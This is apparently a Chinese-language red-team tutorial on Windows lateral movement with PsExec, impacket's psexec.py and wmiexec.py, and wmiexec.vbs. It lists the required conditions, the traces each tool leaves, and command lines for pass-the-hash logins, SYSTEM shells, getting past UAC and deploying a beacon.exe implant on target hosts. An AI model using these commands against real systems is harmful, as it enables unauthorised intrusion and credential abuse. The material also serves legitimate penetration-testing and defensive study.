Psexec
一、利用条件:
1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享
二、优缺点
优点:可以直接获取SYSTEM权限的半互式shell
缺点:利用时会产生一个Psecex的服务,这个服务会产生日志文件,容易被溯源(创建的服务在执行后会自删除)
注意:
①PSESVC服务将会安装在远程系统中,此时将会生成Event4697、7045这两种时间日志;
②PsExec的2.1版本之后将不再是明文传输;
三、PsExec利用原理
四、PsExec工具简介
该工具出自PsTools工具包,这个工具包虽然是微软的,但还是有一些杀软还是会检测的,https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
这个工具包中还包含很多工具,可以到上面那天链接一并下载尝试
PsExec在远程系统上执行程序,应用程序会以交互方式执行
用法:psexec [\\computer[,computer2[,...] | @file]][-u user [-p psswd][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c executable [-f|-v]][-w directory][-d][-<priority>][-a n,n,...] cmd [arguments]
具体参数看这个:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
注意:参数顺序不能乱!
五、PsExec常用参数
①psexec -accepteula
#在拿到一台跳板机,需要把PsExec文件上传到跳板机运行从而横向渗透的时候(例如在CS上操作时),这条参数必须第一时间输入从而避免弹框。
②psexec \\ip -u administrator -p admin cmd
#进⼊半交互式shell
③psexec \\;ip -u administrator -p admin -s cmd
#进⼊system权限的半交互式shell
④psexec \\ip - uadministrator -p admin -w c:\cmd
#进⼊交互式shell,且c:\是⽬标机器的⼯作⽬录。
⑤psexec \\ip -u administrator -p admin whoami all
#whoamiall不能使⽤引号括起来。
⑥psexec \\ip -u administrator -p admin -d c:\beacon.exe
#如果不加-d,且⽬标的beacon.exe没有运⾏完毕的话,psexec是会卡住的。
⑦psexec \\ip -u administrator -p admin -h -d c:\beacon.exe
#以帐⼾的提升令牌运⾏该进程,简单来说就是过了UAC的⽤⼾权限。
⑧psexec \\ip -u administrator -p admin -h -d -c c:\beacon.exe
#以帐⼾的提升令牌在后台运⾏我们把本地c:\beacon.exe传到⽬标c:\windows\beacon.exe
#程序退出后,复制到目标的程序不会删除
五、PsExec.exe操作
1、先用make_token创建一个令牌
2、上传文件到跳板机
3、绕过弹窗
4、执行脚本上线
六、PsExec.py
这个工具来自python的impact包:https://github.com/SecureAuthCorp/impacket
安装好impact包就可以看参数了:
常用参数:
Python psexec.py <username>:"<password>"@192.168.1.4 cmd
Python psexec.py <username>:"<password>"@192.168.1.4 whoami
wimexec
一、利用条件:
1、目标开启135、445、49154端口
2、拥有目标的凭证(明文账号密码、账号hash、内存有正确的凭证)
二、优缺点:
优点:不用手工;有回显;更隐蔽(wmi)
缺点:网络请求比较多;需要对方开启rpc服务,现实环境中有六七成机器是不会开的
三、大致原理:
先使用凭证与目标进行认证,再通过调用目标的wmmi创建并启用服务,然后把结果输出到共享中,再通过IPC$读取结果。
四、wmiexec.py:
1、工具简介:
与psexec.py一样,来自impact工具包,该工具主要是把繁琐的手工变为程序化:https://github.com/SecureAuthCorp/impacket/tree/master/examples
2、wmiexec.py的参数:
太多了截不完,可以装好impact工具包看一下:
3、wmiexec.py的常用参数:
①python wmiexec.py administrator:admin@192.168.1.4
#进⼊半交互式shell
②python wmiexec.py administrator:admin@192.168.1.4 “whoami”
#执⾏完whoami就退出
③python wmiexec.py -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 administrator@192.168.1.4
#使⽤NTLM登录进⼊半交互式
#其实那32个0,可以直接使⽤原本的LMHash的,只是如果没有LMhash的话,就⽤32个0代替,32个0后面那一串东西就是NTLM。
④python wmiexec.py -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 administrator@192.168.1.4 whoami
#使⽤NTLM登录执⾏完whoami就退出
⑤python wmiexec.py -share c$ administrator:admin@192.168.1.4 whoami
#使⽤C$作为读取结果的路径,如果没有敲上c$会默认使⽤admin$,但是有时候admin$会被删除或者是没有读取的权限,这个看具体情况。
此外,可以把wmiexec.py编译成二进制文件,方便随时拿到其他机器上使用,例如用certutil -urlcache -split -f
五、wmiexec.vbs:
wmiexec.vbs是TOOLs的大佬Twiligt写的:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
这个BBS脚本可以调用WMI来模拟psexec的功能,基本上psexec能用的地方这个脚本也能用
1、wmiexec.vbs参数:
cscript //nologo wmiexec.vbs
2、wmiexec.vbs常用参数:
①Cscript wmiexec.vbs /cmd 192.168.1.4 whoami
#执⾏whoami命令并退出
Wmiexec.vbs执行时会在目标机器生成一个wmi.dll文件,再通过RPC去读取这个文件的,然后自动删除该文件
②-persist
如果想要让程序在后台运行,需要进入一个半交互shell中运行-persist,加了-persist参数后,程序会在后台执行,不会有结果输出,但是会返回这个命令进程的PID,方便结束进程
③-waitTIME
如果要执行的命令需要长时间才能返回结恶果,就需要用到-waitTIME参数
一般来说还是wmiexec.py用的更多一些